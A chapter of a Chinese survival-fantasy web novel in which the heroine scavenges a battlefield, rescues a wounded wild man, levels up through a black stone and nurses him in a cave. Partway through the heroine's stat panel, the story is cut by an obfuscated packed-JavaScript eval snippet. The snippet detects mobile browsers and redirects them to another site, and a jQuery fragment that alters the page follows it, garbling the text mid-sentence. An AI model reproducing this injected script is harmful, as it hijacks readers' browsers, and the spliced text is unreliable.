这哨响异常熟悉,正是不久前扶清在遭遇野人袭击时,密林中传出的声音。
颇有些烦躁地翻身,扶清捂着耳朵,被迫离开栖息地的怨愤让她不得安眠,此时听见这声哨响,更是五脏六腑都在冒火。
恶劣的环境让人心生恶意。
扶清起身,斧子悬至手腕,她拎着武器,像一只夜间游荡的死亡骑士,耷着双眼面无表情地向着那个方向走去。
而那只饱餐后酣睡的鬣狗,此刻也警醒地跟在扶清身后,保持着绝对的安静。
这个地方并不算远,她走过去才发现,从高处绕过,不过十几分钟的脚程,就正是自己今日遭遇野人攻击的那片密林,当时为了躲避各种沼泽不断绕路,加上不辨方位地搜寻,才浪费了不少时间。
而此时她才发现,自己呆着这个地方,竟然就在当时那片密林的斜上方。
此处地势错综复杂,高坡缓崖四处都是,而现在自上而下地观察这片密林,才发现这可真是个八方聚气的奇地。
瘴气几乎沉在密林中化成水洼,而这处面积不大的密林里,植株已经四散零落,就和那些野人的肢体一样,到处都是。
混杂着浓郁的血腥气,瘴气简直在吞噬这片地方,连那些食腐的巨鸟都只敢盘旋着不敢下落。
扶清没有觉得自己天赋异禀,可以在这个时候下去摸尸。
她又开始等待了。
本来已经彻底沉静的心绪在此刻的静谧中有些摇晃,已经过去这么多天,扶清才终于允许自己想念一下曾经温暖的床和美味的食物,连因为上镜保持,只能少吃的垃圾食品,此刻都变得犹如珍馐。
那片缓坡中的避难所就像是自己搭建的乌托邦,她沉浸在片刻平和的假象里,躲在小屋里封闭自己,刻意忘却森林中的种种残酷,来疗愈自己不愿直面现实的心。
现在被逼出走,浑身狼狈地来到这样无遮无挡,野生动物栖息的纯粹自然世界里,扶清才终于清醒,她已经是一个野人了。
远离文明,直面生存。
不远处巨鸟的鸣叫让她意识到,时间已经过得够久,那些食腐生物开始蠢蠢欲动,而她,拎着斧子,就这样一步一个脚印地走过去,所有感到威胁的生物都开始自动退避。
强者生存,这就是自然法则。
扶清还是被眼前的血腥冲击到了,她挥手拨开未散的瘴气,捂着口鼻站在这片几乎被血浸透的沼泽地。
也许昨日还是干爽的地面,但经过一晚,足够的瘴气同这些尸体融合在一起,形成这样一片腥湿的泥壤。
她用木棍熟练地扒捡,并惊奇地发现,这片巨大的乱葬之地,居然还有几个意识弥留的野人,但她只是抬脚略过,葬礼是文明人的东西,生于森林,归于泥土,才是自己和这些野人该有的归宿。
忽然,她眼尖地发现,一个长着利爪的野人,脖颈处挂着一只骨哨,就同那日的狼牙吊坠一样,算是野人里少有的饰品,也只有地位高等,实力超然的头领,才会拥有。
扶清走上前,弯腰将骨笛拽下。
忽然!
扶清感受到自己的小腿被身体后方一只手紧紧握住!
她的心差点炸开!
但经过那个口哨野人这么多日子的午夜梦回,她已经多少有了些抗体。
伸腿挣扎一番,发现这玩意儿力气大得出奇,她可不想和这些野人一起喂了秃鹫,转过身挥起斧头,正想用力砸下!
却在低头的瞬间看见了那双灰雾一样的眼睛。
被血迹糊住的脸上,只有这双眸子依旧干净,他躺在那,就这么用尽全部力气望向她。
小腿上的力道渐渐轻了,不知是彻底力竭,还是认出这张白日里还轻轻抚过的脸颊放弃了。
扶清看见他的嘴唇嗫嚅着,好似说了句什么,细细分辨,许是“哈娜”。
......
握着斧头的指尖用力到发白,但她还是用力,挣开了这只手,捡起掉落的骨哨,想要离开。
却在转身的瞬间,看见这野人轻轻抬起胳膊,张开掌心,一块黑石干干净净,没有被血浸染分毫,他用力往前递了递,嘴角流出新鲜的血,这张血迹斑斑的脸,一时间同白日里送的那颗果子重合在一起。
就在野人力竭,手臂无力垂下的瞬间,扶清接住了他的手。
黑石已经被体温浸得刺骨寒凉,天上的鸟叫着,野人彻底失去了意识。
篝火燃烧得劈啪作响,扶清手里的树枝上串着一只不知道什么鸟的东西,烤得黑糊。
而她则沉浸在无限的懊悔之中。
就在这样一个朝不保夕的环境下,救了这么一个大麻烦,真是脑子被驴踢了!
转过头狠狠瞪视着那个占据了自己精心编织的被褥和仅有的一大块兽皮的东西,咬牙回头,猝不及防闻见了刺鼻的焦糊味,扶清终于忍不住,懊恼地低叫一声。
而旁边本来将野人视作食物,虎视眈眈的鬣狗,呜咽一声跑到远离扶清的地方,恐被波及。
此刻已经是下午,从凌晨一直忙碌到现在,扶清咬一口这生不生熟不熟的焦苦鸟肉,想死的心达到巅峰。
第二块黑石在接触到扶清掌心地一瞬间,就自动化作能量进入身体,流入四肢百骸,而久不更新的人物面板,也从“Lv1(菜鸟野人)”变成了“Lv2(见习野人)”。
“等级:Lv2(见习野人)。
属性:力量23(已经可以单挑北极熊);
敏捷11(似乎在逃跑中进步飞快);
耐力8(总是感觉力不从心,大约是肾不好);
韧性17(沉默中疯狂的人多具有此特性)。
技能:御兽初级(你有了自己的狗,但好像并不会发号施令)。
天赋:无比聪慧冷静的脑子一颗(奈何会被轻易摘走);
动物亲和力满分(就说是公主来着)。
状态:力竭(重度)。
威望:5(好多狗认识你)。
成就:达成抡斧头八百次(健身达人);
达成时速20公里(在逃公主-
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127279|196141||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
称号佩戴中);
达成狗狗的钦佩(犬人之王)。”
至此,力量已经大幅增加,但扶清拖着这么一具身高体壮,按斤卖堪比一只成年大肥猪的家伙,也是不容易。
更别提,在对鬣狗三令五申不准将野人吃掉之后,还要在这片到处都是毒株的森林深处,寻找可以治疗伤口吊命的药物。
而本来可以用来烹饪鱼肉的小锅,此时也在咕嘟咕嘟地煮着扶清找回来的草药,一会打算给这东西灌进去。
这人浑身上下几乎没有一块好肉,却神奇地没有一处致命伤,所以才能活下来,等到扶清。
不过也是,既然是黑石争夺战的最终得主,两败俱伤较好的那一方如此也算正常。
不过许是自己这个水象该死的第六感,她总觉得好像有什么不对劲的地方,但此刻因为过分疲惫,还是被忽略了。
这个山洞是一个天然的避风口,扶清啃完那只难吃的鸟,就又开始动手编起木门。
山洞空间并不算小,只是一块完整的空地,看来这只小鬣狗的族群地位还不低,否则何以能够独自拥有这样一处风水宝地。
扶清将那个野人安置在洞穴最深处,那处较为低矮的岩石下方,因为空间有些逼仄,所以本来是放置杂物的地方,但由于这个人过于大只,实在是太占地方,为了不侵扰自己有限的生活空间,所以才把他扔到那儿。
不过也是恰巧,那块比较凉爽通风,十分适合这个幸运的伤患罢了。
干净的清水为了给野人清洗伤口几乎用了个干净,此时扶清正在忙碌地一边做木门,一边看着药汤,一边烧热水,简直连烦躁的情绪都被挤压干净。
忽然,细微的动静引起了扶清的注意,立刻抬眼看向那个野人。
对方似乎是起了烧,冷白的肤色此刻泛着明显的红晕,正在嘟囔着什么。
秉持着所有病人醒来都喊“水”的原则,扶清用一片叶子,将清水慢慢灌了进去,药汤已经放凉,也没浪费,一起顺进了野人的嘴巴。
野生动物都具有倔强的求生意志,哪怕是在彻底昏迷的当下,这人还是将散发着诡异味道的药汤,咕咚咕咚喝了个干净,在她将对方脖颈处不小心沾染的药渍擦拭干净之后,对方已经又一次安静下来,进入了彻底的深眠修复之中。
扶清捏着草绒做成的帕子沉默片刻,拽来一点清水,眼睛四处转了一圈,甚至一个瞪眼将鬣狗驱逐出去后,才慢慢将草绒浸湿,开始给发烧的病人擦身。
草绒敷衍地略过,指尖却不断在对方内脏肺腑之类的地方细细按压,用一切感官仔细感受着这具躯体。
她听到心脏在胸腔内蓬勃跳动,摸到尖尖的耳朵拥有着细腻触感,也看到空气由鼻尖进入腔体,再次温热地排出。
这是一个除了长相略有差别,其他均同人类一致的身体。
她盯着对方腰带上的褡裢,迅速卸下,却在要揭开兽皮时有片刻犹豫。
就在犹豫的这一会,对方蹙着眉,睁开了眼睛,轻声唤了一句“哈娜”。